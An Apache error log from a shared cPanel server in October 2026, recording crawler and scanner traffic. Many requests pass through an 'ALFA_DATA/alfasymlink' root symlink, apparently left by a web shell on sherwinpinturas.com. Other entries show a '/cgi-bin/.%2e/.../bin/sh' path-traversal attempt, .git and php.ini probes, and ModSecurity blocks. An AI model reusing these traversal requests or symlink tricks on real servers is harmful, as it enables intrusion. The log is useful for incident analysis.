[Sat Oct 24 15:36:56.352435 2026] [core:error] [pid 2692997:tid 2692997] (13)Permission denied: [client 185.191.171.13:46076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/cpu_partial
[Sat Oct 24 15:36:58.168053 2026] [ssl:error] [pid 2693050:tid 2693050] (70014)End of file found: [client 54.147.182.90:47188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:02.796031 2026] [ssl:error] [pid 2692905:tid 2692905] (70014)End of file found: [client 185.191.171.7:60478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:06.196969 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.195.248.30:26388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:22.193168 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.147.80.137:20206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:26.035315 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 185.191.171.16:49612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:26.132286 2026] [ssl:error] [pid 2693039:tid 2693039] (5)Input/output error: [client 54.225.81.20:15681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:37:30.208471 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.222.190.107:1054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/xhci_hcd/new_id
[Sat Oct 24 15:37:58.139407 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.212.205.90:46036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:38:03.893744 2026] [security2:error] [pid 2692917:tid 2692917] [client 85.208.96.193:60156] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hubzilla/php81/edit.php"] [unique_id "at0JG7bQ4HMkj2Xm_OsZpgAAAAk"]
[Sat Oct 24 15:38:03.893798 2026] [security2:error] [pid 2692917:tid 2692917] [client 85.208.96.193:60156] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/hubzilla/php81/edit.php"] [unique_id "at0JG7bQ4HMkj2Xm_OsZpgAAAAk"]
[Sat Oct 24 15:38:06.132978 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.223.115.10:32654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:38:14.322042 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 3.217.82.254:60202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:38:18.207073 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 23.23.99.55:33814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/thermal/uevent
[Sat Oct 24 15:38:26.288609 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.208.156.9:8825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:38:39.568346 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.2:34776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/usersize
[Sat Oct 24 15:38:42.194463 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.1:43942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/sanity_checks
[Sat Oct 24 15:38:50.185426 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.203.152.231:65328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:38:58.204513 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 98.83.94.113:59018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/8250_lpss/new_id
[Sat Oct 24 15:39:02.152971 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.204.62.163:58456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/subsystem/slots/17/module/uevent
[Sat Oct 24 15:39:18.730417 2026] [security2:error] [pid 2693039:tid 2693039] [client 92.118.39.93:65256] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0JZmnPEtuFANQY3S6_GwAAAC0"]
[Sat Oct 24 15:39:18.730689 2026] [security2:error] [pid 2693039:tid 2693039] [client 92.118.39.93:65256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0JZmnPEtuFANQY3S6_GwAAAC0"]
[Sat Oct 24 15:39:18.731108 2026] [security2:error] [pid 2693039:tid 2693039] [client 92.118.39.93:65256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0JZmnPEtuFANQY3S6_GwAAAC0"]
[Sat Oct 24 15:39:23.462089 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.202:30990] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8338.conf"] [unique_id "at0Jaz8oejtZfsaip1YlSwAAABE"]
[Sat Oct 24 15:39:23.462529 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.202:30990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8338.conf"] [unique_id "at0Jaz8oejtZfsaip1YlSwAAABE"]
[Sat Oct 24 15:39:23.462850 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.202:30990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8338.conf"] [unique_id "at0Jaz8oejtZfsaip1YlSwAAABE"]
[Sat Oct 24 15:39:26.261787 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 3.213.106.226:1928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:39:34.176463 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.210.114.189:48070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:39:38.343105 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 184.73.167.217:50171] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/remove
[Sat Oct 24 15:39:42.263903 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 107.20.255.194:42933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:39:50.291094 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.156.124.2:4351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:39:54.475682 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.223.181.32:7237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:40:10.276406 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.82.38.120:44590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:40:21.445645 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 94.154.43.185:35968] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:40:22.252890 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.44.148.203:14126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:40:46.240673 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.239.197.197:36767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:41:06.359223 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.23.104.107:33214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:41:09.391136 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 185.191.171.11:39282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/store_user
[Sat Oct 24 15:41:10.443737 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.54.95.127:29729] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:41:26.332698 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.215.112.101:64413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:41:28.234659 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.206:35386] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/objects
[Sat Oct 24 15:41:34.346317 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 100.29.164.178:5509] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ohci-pci/uevent
[Sat Oct 24 15:41:46.453786 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.59.253:29101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:41:50.403861 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.23.104.107:48660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:00.446358 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.194:46394] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:02.380257 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.210.204.255:64429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:06.966326 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.231.118.144:49813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:08.656728 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.210:35002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/free_calls
[Sat Oct 24 15:42:10.324437 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.156.124.2:12893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/driver/remove_id
[Sat Oct 24 15:42:14.418121 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 23.21.179.27:28942] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:22.583343 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 184.73.68.20:14892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:26.297363 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.230.224.6:15696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:30.420587 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.25.120.246:28153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:50.642925 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.84.70.201:17437] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:42:54.493568 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.45.77.169:34367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:02.503899 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.6.5.24:23515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:14.643343 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 54.156.124.2:13550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:26.628462 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 54.152.163.42:64808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:34.745601 2026] [ssl:error] [pid 2692917:tid 2692917] (70014)End of file found: [client 184.72.84.154:64559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:38.455211 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.208.11.93:38497] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:46.469888 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.236.135.14:34084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:54.501388 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 184.73.47.24:31078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:58.459035 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.222.85.38:50888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:43:59.946751 2026] [proxy_fcgi:error] [pid 2684583:tid 2684583] [client 195.3.220.7:42146] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:44:00.342278 2026] [proxy_fcgi:error] [pid 2677776:tid 2677776] [client 195.3.220.7:43980] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:44:01.887117 2026] [proxy_fcgi:error] [pid 2693017:tid 2693017] [client 195.3.220.7:51304] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:44:02.268318 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 195.3.220.7:53102] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:44:02.880375 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 44.217.177.142:33245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:05.217013 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 195.3.220.7:39236] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 15:44:06.584319 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.71.46.142:11006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:14.432934 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.70.100:27044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:18.476120 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.145.82.217:65200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:34.519035 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.208.146.193:29156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:35.247338 2026] [authz_core:error] [pid 2692917:tid 2692917] [client 44.218.138.31:36021] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Sat Oct 24 15:44:38.531230 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.210.114.189:33467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:44:50.544674 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.210.29.96:42543] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0303:00/physical_node1/driver/uevent
[Sat Oct 24 15:44:54.659246 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.206.249.188:17139] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:06.607327 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 184.73.47.24:15231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/driver/remove_id
[Sat Oct 24 15:45:14.457752 2026] [core:error] [pid 2693039:tid 2693039] (13)Permission denied: [client 3.94.40.182:31066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/drivers_probe
[Sat Oct 24 15:45:22.508751 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.217.171.106:51400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:30.639300 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.94.156.104:41727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:34.825737 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.206.193.60:12581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:38.742539 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.206.65.8:30435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:44.993270 2026] [authz_core:error] [pid 2692917:tid 2692917] [client 209.127.142.46:45336] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 15:45:47.270657 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.212.86.97:44850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:50.787700 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.227.234.246:16290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:45:54.797210 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.84.102.81:17761] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:02.689872 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 34.192.125.239:47937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:05.218940 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 185.191.171.11:26558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:06.540386 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.213.202.136:38261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:10.508174 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.1.157.90:33401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:18.596656 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.206.249.188:34216] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:22.572566 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.200.93.170:27568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:34.722473 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.84.169.196:17263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:38.621785 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 35.153.86.200:23865] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 15:46:42.759234 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.225.9.97:62249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:46.571408 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.44.148.203:56909] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:46:50.576015 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 3.94.157.25:38692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/unbind
[Sat Oct 24 15:47:02.703221 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.217.171.106:28923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:47:06.701475 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.221.50.71:61730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:47:10.690321 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.21.227.240:49620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:47:30.760152 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 50.16.216.166:9868] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:47:33.240649 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.204:14834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/align
[Sat Oct 24 15:47:34.449233 2026] [core:error] [pid 2692917:tid 2692917] [client 47.97.10.196:38110] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sat Oct 24 15:47:42.800514 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 107.23.62.75:5455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:47:58.748370 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.70.138.176:25161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:06.867318 2026] [ssl:error] [pid 2693039:tid 2693039] (70014)End of file found: [client 18.213.27.222:29328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:10.976011 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 52.204.81.148:6666] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:11.375505 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 66.132.159.103:42722] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:48:14.815346 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 66.132.159.103:42732] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:48:16.654913 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 66.132.159.103:42738] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:48:24.108433 2026] [authz_core:error] [pid 2692918:tid 2692918] [client 66.132.159.103:45202] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:48:26.831516 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.221.156.96:53236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:30.763381 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.232.12.157:33853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:34.753822 2026] [ssl:error] [pid 2692979:tid 2692979] (22)Invalid argument: [client 34.192.67.98:8021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:38.830850 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.208.146.193:64717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:43.026434 2026] [core:error] [pid 2692917:tid 2692917] (13)Permission denied: [client 3.220.148.166:58841] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/unbind
[Sat Oct 24 15:48:43.039382 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:44902] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/fd/' is executable
[Sat Oct 24 15:48:43.039455 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:44902] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/map_files/' is executable
[Sat Oct 24 15:48:43.039526 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:44902] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800883/fdinfo/' is executable
[Sat Oct 24 15:48:46.799615 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.224.104.67:33901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:48:51.002521 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.83.240.58:54558] AH02013: coalesce failed to read from data bucket
